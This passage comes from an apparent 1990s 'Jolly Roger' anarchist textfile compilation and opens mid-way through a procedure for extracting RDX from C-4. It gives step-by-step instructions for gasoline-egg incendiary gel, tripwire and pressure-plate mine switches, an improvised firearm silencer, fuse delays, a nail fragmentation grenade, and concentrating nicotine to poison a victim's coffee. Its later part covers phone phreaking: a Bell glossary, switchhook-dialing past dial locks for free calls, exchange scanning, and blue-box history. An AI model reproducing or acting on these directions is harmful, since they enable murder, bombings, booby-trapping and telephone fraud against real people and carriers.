Add 1 cup (240 milliliters) of gasoline.
NOTE: These quantities can be increased to obtain more RDX. For example, use 2
gallons of gasoline per 1 cup of C-4.
2) Knead and stir the C-4 with the rod until the C-4 has broken down into small
particles. Allow mixture to stand for 1/2 hour.
3) Stir the mixture again until a fine white powder remains on the bottom of
the jar.
4) Filter the mixture through a paper towel into the other glass jar. Wash the
particles collected on the paper towel with 1/2 cup (120 milliliters) of
gasoline. Discard the waste liquid.
5) Place the RDX particles in a glass or ceramic dish. Set the dish in a pan of
hot water, not boiling and dry for a period of 1 hour.
NOTE: The RDX particles may be air dried for a period of 2 to 3 hours.
See later file...... CBIV. -= Exodus =-_
Egg-based Gelled Flame Fuels by the Jolly Roger
The white of any bird egg can be used to gel gasoline for use as a
flame fuel which will adhere to target surfaces.
Materials Required
------------------
Parts by
Volume Ingredient How used Common Source
-------- ---------- -------- -------------
85 Gasoline Motor Fuel Gas Stations
Stove Fuel Motor Vehicle
Solvent
14 Egg Whites Food Food Store
Industrial Farms
Processes
Any one of the following:
1 Table Salt Food Sea Water
Industrial Natural Brine
Processes Food Store
3 Ground Coffee Food Coffee Plant
Food Store
3 Dried Tea Leaves Food Tea Plant
Food Store
3 Cocoa Food Cacao Tree
Food Store
2 Sugar Sweetening Sugar Cane
foods Food Store
1 Saltpeter Pyrotechnics Natural
(Potassium Explosives Deposits
Nitrate) Matches Drug Store
Medicine
1 Epsom Salts Medicine Natural
Mineral Water Kisserite
Industrial Drug Store
Processes Food Store
2 Washing Soda Washing Cleaner Food Store
(Sal Soda) Medicine Drug Store
Photography Photo Supply
Store
1 1/2 Baking Soda Baking Food Store
Manufacturing Drug Store
of: Beverages
Medicines
and
Mineral
Waters
1 1/2 Aspirin Medicine Drug Store
Food Store
Procedure:
---------
CAUTION: Make sure that ther are no open flames in the area when mixing
flame fuels! NO SMOKING!!
1) Seperate the egg white from the yolk. This can be done by breaking the
egg into a dish and carefully removing the yolk with a spoon.
2) Pour egg white into a jar, bottle, or other container, and add gasoline.
3) Add the salt (or other additive) to the mixture and stir occasionally
until gel forms (about 5 to 10 minutes).
NOTE: A thicker gelled flame fuel can be obtained by putting the capped jar
in hot (65 degrees Centegrade) water for about 1/2 hour and then letting
them cool to room temperature. (DO NOT HEAT THE GELLED FUEL CONTAINING
COFFEE!!)
Courtesy of CBIV, '94. -= Exodus =-_
Clothespin Switch by the Jolly Roger
A spring type clothespin is used to make a circuit closing switch to
actuate explosive charges, mines, booby traps, and alarm systems.
Material Required:
-----------------
Spring type clothespin
Sold copper wire -- 1/16 in. (2 mm) in diameter
Strong string on wire
Flat piece of wood (roughly 1/8 x 1" x 2")
Knife
Procedure:
---------
1) Strip four in. (10 cm) of insulation from the ends of 2 solid copper
wires. Scrape the copper wires with pocket knife until the metal is
shiny.
2) Wind one scraped wire tightly on jaw of the clothespin, and the other
wire on the other jaw.
3) Make a hole in one end of the flat piece of wood using a knife, heated
nail or drill.
4) Tie strong string or wire through the hole.
5) Place flat piece of wood between the jaws of the clothespin switch.
Basic Firing Circuit:
--------------------
______________
| |---------------------------\
| initiator |----------\ | strong
-------------- | | twine
| | \
| _---------_________
| ---------
| | \clothespin \ /
\ / switch
\ /
\ /
\ /
+ -
----------
| |
| battery|
----------
When the flat piece of wood is removed by pulling the string, the
jaws of the clothespin will close, completing the circuit.
CAUTION: Do not attach the battery until the switch and trip wire have
been emplaced and examined. Be sure that the flat piece of wood is
seperating the jaws of the switch.
Revised '94. -= Exodus =-_
Flexible Plate Switch by the Jolly Roger
This flexible plate switch is used for initiating emplaced mines and
explosives.
Material Required:
-----------------
Two flexible metal sheets
one approximately 10 in. (25 cm) square
one approximately 10 in. x 8 in. (20 cm)
Piece of wood 10 in. square x 1 in. thick
Four soft wood blocks 1 in. x 1 in. x 1/4 in.
Eight flat head nails, 1 in. long
Connecting wires
Adhesive tape
Procedure:
---------
1) Nail 10 in. by 8 in. metal sheet to 10 in. square piece of wood so that
1 in. of wood shows on each side of the metal. Leave one of the nails
sticking up about 1/4 in.
2) Strip insulation from the end of one connecting wire. Wrap this end
around the nail and drive the nail all the way in.
3) Place the four wood blocks on the corners of the wood base.
4) Place the 10 in. square flexible metal sheet so that it rests on the
blocks in line with the wood base.
5) Drive four nails through the metal sheet and the blocks (1 per block)
to fasten the sheet to the wood base. A second connecting wire is atached
to one of the nails as in step #2.
6) Wrap the adhesive tape around the edges of the plate and wood base.
This will assure that no dirt or other foreign matter will get between the
plates and prevent the switch from operating.
How to use:
----------
The switch is placed in a hole in the path of expected traffic and covered
with a thin layer of dirt or other camouflaging material. The mine or
other explosive device connected to the switch can be buried with the
switch or emplaced elsewhere as desired.
When a vehicle passes over the switch, the two metal plates make contact
closing the firing circuit.
Revised, '94. Exodus_
Low Signature Systems (Silencers) by the Jolly Roger
Low signature systems (silencers) for improvised small arms weapons
can be made from steel gas or water pipe and fittings.
Material Required:
-----------------
Grenade Container
Steel pipe nipple, 6 in. (15 cm) long - (see table 1 for diameter)
2 steel pipe couplings - (see table 2 for dimensions)
Cotton cloth - (see table 2)
Drill
Absorbent cotton
Procedure:
---------
1) Drill hole in grenade container at both ends to fit outside diameter
of pipe nipple. (see table 1)
-> /----------------------\
/ | |
2.75 in | ) ( <-holes
dia. \ | |
-> \-----------------------/
|-----------------------|
5 in.
2) Drill four rows of holes in pipe nipple. Use table 1 for diameter and
location of holes.
(Note: I suck at ASCII art!)
6 in.
|-----------------------------------|
_____________________________________ ___
| O O O O O O O O O O O O O O O O O | | C (nom. dia.)
-------------------------------------
(size of hole) | \ / (space between)
B (dia.) A
3) Thread one of the pipe couplings on the drilled pipe nipple.
4) Cut coupling length to allow barrel of weapon to thread fully into low
signature system. Barrel should butt against end of the drilled pipe
nipple.
5) Seperate the top half of the grenade container from the bottom half.
6) Insert the pipe nipple in the drilled hole at the base of the bottom
half of the container. Pack theabsorbent cotton inside the container and
around the pipe nipple.
7) Pack the absorbent cotton in top half of grenade container leaving
hole in center. Assemble container to the bottom half.
8) Thread the other coupling onto the pipe nipple.
Note: A longer container and pipe nipple, with same "A" and "B"
dimensions as those given, will furthur reduce the signature of the
system.
How to use:
----------
1) Thread the low signature system on the selected weapon securely.
2) Place the proper cotton wad size into the muzzle end of the system
(see table 2)
3) Load weapon
4) Weapon is now ready for use
TABLE 1 -- Low Signature System Dimensions
------------------------------------------
(Coupling) Holes per (4 rows)
A B C D Row Total
------------------------------------------------------------------------
.45 cal 3/8 1/4 3/8 3/8 12 48
.38 cal 3/8 1/4 1/4 1/4 12 48
9 mm 3/8 1/4 1/4 1/4 12 48
7.62 mm 3/8 1/4 1/4 1/4 12 48
.22 cal 1/4 5/32 1/8* 1/8 14 50
------------------------------------------------------------------------
*Extra Heavy Pipe
(All dimensions in inches)
TABLE 2 -- Cotton Wadding - Sizes
---------------------------------
-------------------------------------------------
Weapon Cotton Wadding Size
-------------------------------------------------
.45 cal 1-1/2 x 6 inches
.38 cal 1 x 4 inches
9 mm 1 x 4 inches
7.62 mm 1 x 4 inches
.22 cal Not needed
-------------------------------------------------
-=Exodus=-_
IMPROVED CIGARETTE DELAY (By Atur {THE pyromaniac })
A variation on the standard cigarette display was invented by my good
friend Atur (THE Pyromaniac). Rather than inserting the fuse into the SIDE
of the cigarette (and risk splitting it) half of the filter is cut off, and a
small hole is punched THROUGH the remainder of the filter and into the
tobacco.
(Ill. 4.31.1)
---------------------------------
|FIL|Tobacco Tobacco Tobacco
fusefusefusefuse Tobacco Tobacco side view
|TER|Tobacco Tobacco Tobacco
---------------------------------
___
/ \
| o | filter end view
\___/ (artwork by The Author)
The fuse is inserted as far as possible into this hole, then taped or
glued in place, or the cigarette can be cut and punched ahead of time and
lit normally, then attached to the fuse at the scene.
A similar type of device can be make from powdered charcoal and a sheet
of paper. Simply roll the sheet of paper into a thin tube, and fill it with
powdered charcoal. Punch a hole in it at the desired location, and insert a
fuse. Both ends must be glued closed, and one end of the delay must be doused
with lighter fluid before it is lit. Or, a small charge of gunpowder mixed
with powdered charcoal could conceivably used for igniting such a delay. A
chain of charcoal briquettes can be used as a delay by merely lining up a few
bricks of charcoal so that they touch each other, end on end, and lighting the
first brick. Incense, which can be purchased at almost any novelty or party
supply store, can also be used as a fairly reliable delay. By wrapping the
fuse about the end of an incense stick, delays of up to 1/2 an hour are
possible.
Fer the '94 CookBook. -= Exodus =-
_
Nicotine by the Jolly Roger
Nicotine is an abundant poison. Easily found in tobacco
products, in concentrated form a few drops can quickly kill
someone. Here is how to concentrate it:
First get a can of chewing tobacco or pipe tobacco. Remove
the contents and soak in water overnight in a jar (about 2/3 cup
of water will do...). In the morning, strain into another jar the
mixture through a porous towel. Then wrap the towel around the
ball of tobacco and squeeze it until all of the liquid is in the
jar. Throw away the tobacco--you will not need it anymore.
Now you have two options. I recommend the first. It makes the
nicotine more potent.
1) Allow to evaporate until a sticky syrup results in the
jar. This is almost pure nicotine (hell, it is pure enough for
sure!).
2) Heat over low flame until water is evaporated and a thick
sticky syrup results (I don't know how long it takes... shouldn't
take too long, though.).
Now all you have to do, when you wish to use it, is to put
a few drops in a medicine dropper or equivalent, and slip about 4
or 5 drops into the victim's coffee. Coffee is recommended since it
will disguise the taste. Since nicotine is a drug, the victim
should get quite a buzz before they turn their toes up to the
daisies, so to speak.
Note: If the syrup is too sticky, dilute it with a few drops
of water. And while you are at it, better add an extra drop to the
coffee just to be sure!
Revised in '94,,..... -= Exodus =-_
Dried Seed Timer by the Jolly Roger
A time delay device for electrical firing circuits can be made using
the principle of expansion of dried seeds.
Material Required:
-----------------
Dried peas, beans, or oter dehydrated seeds
Wide-mouth glass jar with non-metal cap
Two screws or bolts
Thin metal plate
Hand drill
Screwdriver
Procedure:
---------
1) Determine the rate of the rise of the dried seeds selected. This is
necessary to determine the delay time of the timer.
a) Place a sample of the dried seeds in the jar and cover with
water.
b) Measure the time it takes for the seeds to rise a given height.
Most dried seeds increase 50% in one to two hours.
2) Cut a disc from thin metal plate. Disc should fit loosely inside the
jar.
NOTE: If metal is painted, rusty, or otherwise coated, it must be scraped
or sanded to obtain a clean metal surface
3) Drill two holes in the cap of the jar about 2 inches apart. Diameter
of holes should be such that screws or bolts will thread tightly into
them. If the jar has a metal cap or no cap, a piece of wood or plastic
(NOT METAL) can be used as a cover.
4) Turn the two screws or bolts through the holes in the cap. Bolts
should extend about one in. (2 1/2 cm) into the jar.
IMPORTANT: Both bolts must extend the same distance below the container
cover.
5) Pour dried seeds into the container. The level will depend upon the
previously measured rise time and the desired delay.
6) Place the metal disc in the jar on top of the seeds.
How to use:
----------
1) Add just enough water to completely cover the seeds and place the cap
on the jar.
2) Attach connecting wires from the firing circuit to the two screws on
the cap.
Expansion of the seeds will raise the metal disc until it contacts the
screws and closes the circuit.
------Exodus-----
_
Nail Grenade by the Jolly Roger
Effective fragmentation grenades can be made from a block of tnt or
other blasting explosive and nails.
Material Required:
-----------------
Block of TNT or other blasting explosive
Nails
Non-electric (military or improvised) blasting cap
Fuse Cord
Tape, string, wire, or glue
Procedure:
---------
1) If an explosive charge other than a standard TNT block is used, make a
hole in the center of the charge for inserting the blasting cap. TNT can
be drilled with relative safety. With plastic explosives, a hole can be
made by pressing a round stick into the center of the charge. The hole
should be deep enough that the blasting cap is totally within the
explosive.
2) Tape, tie, or glue one or two rows of closely packed nails to the
sides of the explosive block. Nails should completely cover the four
surfaces of the block.
3) Place blasting cap on one end of the fuse cord and crimp with pliers.
NOTE: To find out how long the fuse cord should be, check the time it
takes a known length to burn. If 12 inches (30 cm) burns for 30 seconds,
a 10 second delay will require a 4 inch (10 cm) fuse.
4) Insert the blasting cap in the hole in the block of explosive. Tape or
tie fuse cord securly in place so that it will not fall out when the
grenade is thrown.
Alternate Use:
-------------
An effective directional anti-personnel mine can be made by placing nails
on only one side of the explosive block. For this case, an electric
blasting cap can be used.
Revised in '94. -= Exodus =-
_
The Bell Glossary courtesy of Exodus
......................................................................
......................................................................
. The Bell Glossary - ..
. by ..
. /\<\ /\<\ ..
. \>ad \>arvin ..
......................................................................
......................................................................
ACD: Automatic Call Distributor - A system that automatically distributes calls
to operator pools (providing services such as intercept and directory
assistance), to airline ticket agents, etc.
Administration: The tasks of record-keeping, monitoring, rearranging,
prediction need for growth, etc.
AIS: Automatic Intercept System - A system employing an audio-response unit
under control of a processor to automatically provide pertinent info to callers
routed to intercept.
Alert: To indicate the existence of an incoming call, (ringing).
ANI: Automatic Number Identification - Often pronounced "Annie," a facility for
automatically identify the number of the calling party for charging purposes.
Appearance: A connection upon a network terminal, as in "the line has two
network appearances."
Attend: The operation of monitoring a line or an incoming trunk for off-hook or
seizure, respectively.
Audible: The subdued "image" of ringing transmitted to the calling party during
ringing; not derived from the actual ringing signal in later systems.
Backbone Route: The route made up of final-group trunks between end offices in
different regional center areas.
BHC: Busy Hour Calls - The number of calls placed in the busy hour.
Blocking: The ratio of unsuccessful to total attempts to use a facility;
expresses as a probability when computed a priority.
Blocking Network: A network that, under certain conditions, may be unable to
form a transmission path from one end of the network to the other. In general,
all networks used within the Bell Systems are of the blocking type.
Blue Box: Equipment used fraudulently to synthesize signals, gaining access to
the toll network for the placement of calls without charge.
BORSCHT Circuit: A name for the line circuit in the central office. It
functions as a mnemonic for the functions that must be performed by the
circuit: Battery, Overvoltage, Ringing, Supervision, Coding, Hybrid, and
Testing.
Busy Signal: (Called-line-busy) An audible signal which, in the Bell System,
comprises 480hz and 620hz interrupted at 60IPM.
Bylink: A special high-speed means used in crossbar equipment for routing calls
incoming from a step-by-step office. Trunks from such offices are often
referred to as "bylink" trunks even when incoming to noncrossbar offices; they
are more properly referred to as "dc incoming trunks." Such high-speed means
are necessary to assure that the first incoming pulse is not lost.
Cable Vault: The point which phone cable enters the Central Office building.
CAMA: Centralized Automatic Message Accounting - Pronounced like Alabama.
CCIS: Common Channel Interoffice Signaling - Signaling information for trunk
connections over a separate, nonspeech data link rather that over the trunks
themselves.
CCITT: International Telegraph and Telephone Consultative Committee- An
International committee that formulates plans and sets standards for
intercountry communication means.
CDO: Community Dial Office - A small usually rural office typically served by
step-by-step equipment.
CO: Central Office - Comprises a switching network and its control and support
equipment. Occasionally improperly used to mean "office code."
Centrex: A service comparable in features to PBX service but implemented with
some (Centrex CU) or all (Centrex CO) of the control in the central office. In
the later case, each station's loop connects to the central office.
Customer Loop: The wire pair connecting a customer's station to the central
office.
DDD: Direct Distance Dialing - Dialing without operator assistance over the
nationwide intertoll network.
Direct Trunk Group: A trunk group that is a direct connection between a given
originating and a given terminating office.
EOTT: End Office Toll Trunking - Trunking between end offices in different toll
center areas.
ESB: Emergency Service Bureau - A centralized agency to which 911 "universal"
emergency calls are routed.
ESS: Electronic Switching System - A generic term used to identify as a class,
stored-program switching systems such as the Bell System's No.1 No.2, No.3,
No.4, or No.5.
ETS: Electronic Translation Systems - An electronic replacement for the card
translator in 4A Crossbar systems. Makes use of the SPC 1A Processor.
False Start: An aborted dialing attempt.
Fast Busy: (often called reorder) - An audible busy signal interrupted at twice
the rate of the normal busy signal; sent to the originating station to indicate
that the call blocked due to busy equipment.
Final Trunk Group: The trunk group to which calls are routed when available
high-usage trunks overflow; these groups generally "home" on an office next
highest in the hierarchy.
Full Group: A trunk group that does not permit rerouting off-contingent foreign
traffic; there are seven such offices.
Glare: The situation that occurs when a two-way trunk is seized more or less
simultaneously at both ends.
High Usage Trunk Group: The appellation for a trunk group that has alternate
routes via other similar groups, and ultimately via a final trunk group to a
higher ranking office.
Intercept: The agency (usually an operator) to which calls are routed when made
to a line recently removed from a service, or in some other category requiring
explanation. Automated versions (ASI) with automatic voiceresponse units are
growing in use.
Interrupt: The interruption on a phone line to disconnect and connect with
another station, such as an Emergence Interrupt.
Junctor: A wire or circuit connection between networks in the same office. The
functional equivalent to an intraoffice trunk.
MF: Multifrequency - The method of signaling over a trunk making use of the
simultaneous application of two out of six possible frequencies.
NPA: Numbering Plan Area.
ONI: Operator Number Identification - The use of an operator in a CAMA office
to verbally obtain the calling number of a call originating in an office not
equipped with ANI.
PBX: Private Branch Exchange - (PABX: Private Automatic Branch Exchange) An
telephone office serving a private customer, Typically , access to the outside
telephone network is provided.
Permanent Signal: A sustained off-hook condition without activity (no dialing
or ringing or completed connection); such a condition tends to tie up
equipment, especially in earlier systems. Usually accidental, but sometimes
used intentionally by customers in high-crime-rate areas to thwart off
burglars.
POTS: Plain Old Telephone Service - Basic service with no extra "frills".
ROTL: Remote Office Test Line - A means for remotely testing trunks.
RTA: Remote Trunk Arrangement - An extension to the TSPS system permitting its
services to be provided up to 200 miles from the TSPS site.
SF: Single Frequency. A signaling method for trunks: 2600hz is impressed upon
idle trunks.
Supervise: To monitor the status of a call.
SxS: (Step-by-Step or Strowger switch) - An electromechanical office type
utilizing a gross-motion stepping switch as a combination network and
distributed control.
Talkoff: The phenomenon of accidental synthesis of a machine-intelligible
signal by human voice causing an unintended response. "whistling a tone".
Trunk: A path between central offices; in general 2-wire for interlocal, 4-wire
for intertoll.
TSPS: Traffic Service Position System - A system that provides, under storedprogram
control, efficient operator assistance for toll calls. It does not
switch the customer, but provides a bridge connection to the operator.
X-bar: (Crossbar) - An electromechanical office type utilizing a "fine-motion"
coordinate switch and a multiplicity of central controls (called markers).
There are four varieties:
No.1 Crossbar: Used in large urban office application; (1938)
No 3 Crossbar: A small system started in (1974).
No.4A/4M Crossbar: A 4-wire toll machine; (1943).
No.5 Crossbar: A machine originally intended for relatively small
suburban applications; (1948)
Crossbar Tandem: A machine used for interlocal office switching.
Revised in '94 CBIV,.......... -= Exodus =-_
Phone Dial Locks -- How to Beat'em courtesy of Exodus
Have you ever been in an office or somewhere and wanted to make a free phone
call but some asshole put a lock on the phone to prevent out-going calls? Fret
no more phellow phreake, for every system can be beaten with a little knowledge!
There are two ways to beat this obstacle, first pick the lock, I don't have
the time to teach locksmithing so we go to the second method which takes
advantage of telephone electronics.
To be as simple as possibnle when you pick up the phone you complete a
circuit known as a local loop. When you hang up you break the circuit. When
you dial (pulse) it also breaks the circuit but not long enough to hang up! So
you can "Push-dial." To do this you >>> RAPIDLY <<< depress the switchhook.
For example, to dial an operator (and then give her the number you want to call)
>>> RAPIDLY <<< & >>> EVENLY <<< depress the switchhook 10 times. To dial
634-1268, depress 6 X'S pause, then 3 X'S, pause, then 4X'S, etc. It takes a
little practice but you'll get the hang of it. Try practicing with your own #
so you'll get a busy tone when right. It'll also work on touch-tone(tm) since
a DTMF line will also accept pulse. Also, never depress the switchhook for
more than a second or it'll hang up!
Finally, remember that you have just as much right to that phone as the
asshole who put the lock on it!
Unrevised.. I have yet to see a "Dial-Lock".. Exodus
(From the Official Phreaker's Guide)
_
Exchange Scanning courtesy of Exodus
Almost every exchange in the bell system has test #'s and other "goodies"
such as loops with dial-ups. These "goodies" are usually found betweed 9900
and 9999 in your local exchange. If you have the time and initiative, scan
your exchange and you may become lucky!
Here are some findings in the 914-268 exchange:
9900 - ANI
9901 - ANI
9927 - OSC. TONE (POSSIBLE TONE SIDE OF A LOOP)
9936 - VOICE # TO THE TELCO CENTRAL OFFICE
9937 - VOICE # TO THE TELCO CENTRAL OFFICE
9941 - COMPUTER (DIGITAL VOICE TRANSMISSION?)
9960 - OSC. TONE (TONE SIDE LOOP) MAY ALSO BE A COMPUTER IN SOME EXCHANGES
9961 - NO RESPONSE (OTHER END OF LOOP?)
9962 - NO RESPONSE (OTHER END OF LOOP?)
9963 - NO RESPONSE (OTHER END OF LOOP?)
9966 - COMPUTER (SEE 9941)
9968 - TONE THAT DISAPPEARS--RESPONDS TO CERTAIN TOUCH-TONE KEYS
Most of the numbers between 9900 & 9999 will ring or go to a "what #,
please?" operator.
Revised in '94.. Exodus
(from the Official Phreaker's Manual)
_
A Short History of Phreaking courtesy of Exodus
Well now we know a little vocabulary, and now its into history, Phreak
history. Back at MIT in 1964 arrived a student by the name of Stewart Nelson,
who was extremely interested in the telephone. Before entering MIT, he had
built autodialers, cheese boxes, and many more gadgets. But when he came to
MIT he became even more interested in "fone-hacking" as they called it. After
a little while he naturally started using the PDP-1, the schools computer at
that time, and from there he decided that it would be interesting to see
whether the computer could generate the frequencies required for blue boxing.
The hackers at MIT were not interested in ripping off Ma Bell, but just
exploring the telephone network. Stew (as he was called) wrote a program to
generate all the tones and set off into the vast network.
Now there were more people phreaking than the ones at MIT. Most people have
heard of Captain Crunch (No not the cereal), he also discovered how to take
rides through the fone system, with the aid of a small whistle found in a
cereal box (can we guess which one?). By blowing this whistle, he generated
the magical 2600hz and into the mouthpiece it sailed, giving him complete
control over the system. I have heard rumors that at one time he made about
1/4 of the calls coming out of San Francisco. He got famous fast. He made the
cover of people magazine and was interviewed several times (as you'll soon
see). Well he finally got caught after a long adventurous career. After he
was caught he was put in jail and was beaten up quite badly because he would
not teach other inmates how to box calls. After getting out, he joined Apple
computer and is still out there somewhere.
Then there was Joe the Whistler, blind form the day he was born. He could
whistle a perfect 2600hz tone. It was rumored phreaks used to call him to tune
their boxes.
Well that was up to about 1970, then from 1970 to 1979, phreaking was mainly
done by college students, businessmen and anyone who knew enough about
electronics and the fone company to make a 555 Ic to generate those magic
tones. Businessmen and a few college students mainly just blue box to get free
calls. The others were still there, exploring 800#'s and the new ESS systems.
ESS posed a big problem for phreaks then and even a bigger one now. ESS was
not widespread, but where it was, blue boxing was next to impossible except for
the most experienced phreak. Today ESS is installed in almost all major cities
and blue boxing is getting harder and harder.
1978 marked a change in phreaking, the Apple ][, now a computer that was
affordable, could be programmed, and could save all that precious work on a
cassette. Then just a short while later came the Apple Cat modem. With this
modem, generating all blue box tones was easy as writing a program to count
form one to ten (a little exaggerated). Pretty soon programs that could
imitate an operator just as good as the real thing were hitting the community,
TSPS and Cat's Meow, are the standard now and are the best.
1982-1986: LD services were starting to appear in mass numbers. People now
had programs to hack LD services, telephone exchanges, and even passwords. By
now many phreaks were getting extremely good and BBS's started to spring up
everywhere, each having many documentations on phreaking for the novice. Then
it happened, the movie War Games was released and mass numbers of sixth grade
to all ages flocked to see it. The problem wasn't that the movie was bad, it
was that now EVERYONE wanted to be a hacker/phreak. Novices came out in such
mass numbers, that bulletin boards started to be busy 24 hours a day. To this
day, they still have not recovered. Other problems started to occur, novices
guessed easy passwords on large government computers and started to play
around... Well it wasn't long before they were caught, I think that many
people remember the 414-hackers. They were so stupid as to say "yes" when the
computer asked them whether they'd like to play games. Well at least it takes
the heat off the real phreaks/hacker/krackers.
(from the Official Phreaker's Manual)
_
-----> Courtesy of the Exodus <-----
***** The AAG Proudly Presents The AAG Proudly Presents *****
* *
* +----------------------------------------------+ *
* *
* Secrets of the Little Blue Box *
* *
* by Ron Rosenbaum *
* Typed by One Farad Cap/AAG *
* *
* -A story so incredible it may even make you *
* feel sorry for the phone company- *
* *
* (First of four files) *
* *
* +----------------------------------------------+ *
* *
***** The AAG Proudly Presents The AAG Proudly Presents *****
Dudes... These four files contain the story, "Secrets of the Little Blue Box",
by Ron Rosenbaum.
-A story so incredible it may even make you feel sorry for the phone company-
Printed in the October 1971 issue of Esquire Magazine. If you happen to be in
a library and come across a collection of Esquire magazines, the October 1971
issue is the first issue printed in the smaller format. The story begins on
page 116 with a picture of a blue box.
--One Farad Cap, Atlantic Anarchist Guild
The Blue Box Is Introduced: Its Qualities Are Remarked
I am in the expensively furnished living room of Al Gilbertson (His real name
has been changed.), the creator of the "blue box." Gilbertson is holding one of
his shiny black-and-silver "blue boxes" comfortably in the palm of his hand,
pointing out the thirteen little red push buttons sticking up from the console.
He is dancing his fingers over the buttons, tapping out discordant beeping
electronic jingles. He is trying to explain to me how his little blue box does
nothing less than place the entire telephone system of the world, satellites,
cables and all, at the service of the blue-box operator, free of charge.
"That's what it does. Essentially it gives you the power of a super operator.
You seize a tandem with this top button," he presses the top button with his
index finger and the blue box emits a high-pitched cheep, "and like that" --
cheep goes the blue box again -- "you control the phone company's long-distance
switching systems from your cute little Princes phone or any old pay phone.
And you've got anonymity. An operator has to operate from a definite location:
the phone company knows where she is and what she's doing. But with your
beeper box, once you hop onto a trunk, say from a Holiday Inn 800 (toll-free)
number, they don't know where you are, or where you're coming from, they don't
know how you slipped into their lines and popped up in that 800 number. They
don't even know anything illegal is going on. And you can obscure your origins
through as many levels as you like. You can call next door by way of White
Plains, then over to Liverpool by cable, and then back here by satellite. You
can call yourself from one pay phone all the way around the world to a pay
phone next to you. And you get your dime back too."
"And they can't trace the calls? They can't charge you?"
"Not if you do it the right way. But you'll find that the free-call thing
isn't really as exciting at first as the feeling of power you get from having
one of these babies in your hand. I've watched people when they first get hold
of one of these things and start using it, and discover they can make
connections, set up crisscross and zigzag switching patterns back and forth
across the world. They hardly talk to the people they finally reach. They say
hello and start thinking of what kind of call to make next. They go a little
crazy." He looks down at the neat little package in his palm. His fingers are
still dancing, tapping out beeper patterns.
"I think it's something to do with how small my models are. There are lots of
blue boxes around, but mine are the smallest and most sophisticated
electronically. I wish I could show you the prototype we made for our big
syndicate order."
He sighs. "We had this order for a thousand beeper boxes from a syndicate
front man in Las Vegas. They use them to place bets coast to coast, keep lines
open for hours, all of which can get expensive if you have to pay. The deal
was a thousand blue boxes for $300 apiece. Before then we retailed them for
$1500 apiece, but $300,000 in one lump was hard to turn down. We had a
manufacturing deal worked out in the Philippines. Everything ready to go.
Anyway, the model I had ready for limited mass production was small enough to
fit inside a flip-top Marlboro box. It had flush touch panels for a keyboard,
rather than these unsightly buttons, sticking out. Looked just like a tiny
portable radio. In fact, I had designed it with a tiny transistor receiver to
get one AM channel, so in case the law became suspicious the owner could switch
on the radio part, start snapping his fingers, and no one could tell anything
illegal was going on. I thought of everything for this model -- I had it lined
with a band of thermite which could be ignited by radio signal from a tiny
button transmitter on your belt, so it could be burned to ashes instantly in
case of a bust. It was beautiful. A beautiful little machine. You should
have seen the faces on these syndicate guys when they came back after trying it
out. They'd hold it in their palm like they never wanted to let it go, and
they'd say, 'I can't believe it. I can't believe it.' You probably won't
believe it until you try it."
The Blue Box Is Tested: Certain Connections Are Made
About eleven o'clock two nights later Fraser Lucey has a blue box in the palm
of his left hand and a phone in the palm of his right. He is standing inside a
phone booth next to an isolated shut-down motel off Highway 1. I am standing
outside the phone booth.
Fraser likes to show off his blue box for people. Until a few weeks ago when
Pacific Telephone made a few arrests in his city, Fraser Lucey liked to bring
his blue box (This particular blue box, like most blue boxes, is not blue.
Blue boxes have come to be called "blue boxes" either because 1) The first blue
box ever confiscated by phone-company security men happened to be blue, or 2)
To distinguish them from "black boxes." Black boxes are devices, usually a
resistor in series, which, when attached to home phones, allow all incoming
calls to be made without charge to one's caller.) to parties. It never failed:
a few cheeps from his device and Fraser became the center of attention at the
very hippest of gatherings, playing phone tricks and doing request numbers for
hours. He began to take orders for his manufacturer in Mexico. He became a
dealer.
Fraser is cautious now about where he shows off his blue box. But he never
gets tired of playing with it. "It's like the first time every time," he tells
me.
Fraser puts a dime in the slot. He listens for a tone and holds the receiver
up to my ear. I hear the tone. Fraser begins describing, with a certain
practiced air, what he does while he does it. "I'm dialing an 800 number now.
Any 800 number will do. It's toll free. Tonight I think I'll use the ----- (he
names a well-know rent-a-car company) 800 number. Listen, It's ringing. Here,
you hear it? Now watch." He places the blue box over the mouthpiece of the
phone so that the one silver and twelve black push buttons are facing up toward
me. He presses the silver button -- the one at the top -- and I hear that
high-pitched beep. "That's 2600 cycles per second to be exact," says Lucey.
"Now, quick. listen." He shoves the earpiece at me. The ringing has vanished.
The line gives a slight hiccough, there is a sharp buzz, and then nothing but
soft white noise.
"We're home free now," Lucey tells me, taking back the phone and applying the
blue box to its mouthpiece once again. "We're up on a tandem, into a
long-lines trunk. Once you're up on a tandem, you can send yourself anywhere
you want to go." He decides to check out London first. He chooses a certain
pay phone located in Waterloo Station. This particular pay phone is popular
with the phone-phreaks network because there are usually people walking by at
all hours who will pick it up and talk for a while.
He presses the lower left-hand corner button which is marked "KP" on the face
of the box. "That's Key Pulse. It tells the tandem we're ready to give it
instructions. First I'll punch out KP 182 START, which will slide us into the
overseas sender in White Plains." I hear a neat clunk-cheep. "I think we'll
head over to England by satellite. Cable is actually faster and the connection
is somewhat better, but I like going by satellite. So I just punch out KP Zero
44. The Zero is supposed to guarantee a satellite connection and 44 is the
country code for England. Okay... we're there. In Liverpool actually. Now
all I have to do is punch out the London area code which is 1, and dial up the
pay phone. Here, listen, I've got a ring now."
I hear the soft quick purr-purr of a London ring. Then someone picks up the
phone.
"Hello," says the London voice.
"Hello. Who's this?" Fraser asks.
"Hello. There's actually nobody here. I just picked this up while I was
passing by. This is a public phone. There's no one here to answer actually."
"Hello. Don't hang up. I'm calling from the United States."
"Oh. What is the purpose of the call? This is a public phone you know."
"Oh. You know. To check out, uh, to find out what's going on in London. How
is it there?"
"Its five o'clock in the morning. It's raining now."
"Oh. Who are you?"
The London passerby turns out to be an R.A.F. enlistee on his way back to the
base in Lincolnshire, with a terrible hangover after a thirty-six-hour pass.
He and Fraser talk about the rain. They agree that it's nicer when it's not
raining. They say good-bye and Fraser hangs up. His dime returns with a nice
clink.
"Isn't that far out," he says grinning at me. "London, like that."
Fraser squeezes the little blue box affectionately in his palm. "I told ya
this thing is for real. Listen, if you don't mind I'm gonna try this girl I
know in Paris. I usually give her a call around this time. It freaks her out.
This time I'll use the ------ (a different rent-a-car company) 800 number and
we'll go by overseas cable, 133; 33 is the country code for France, the 1 sends
you by cable. Okay, here we go.... Oh damn. Busy. Who could she be talking
to at this time?"
A state police car cruises slowly by the motel. The car does not stop, but
Fraser gets nervous. We hop back into his car and drive ten miles in the
opposite direction until we reach a Texaco station locked up for the night. We
pull up to a phone booth by the tire pump. Fraser dashes inside and tries the
Paris number. It is busy again.
"I don't understand who she could be talking to. The circuits may be busy.
It's too bad I haven't learned how to tap into lines overseas with this thing
yet."
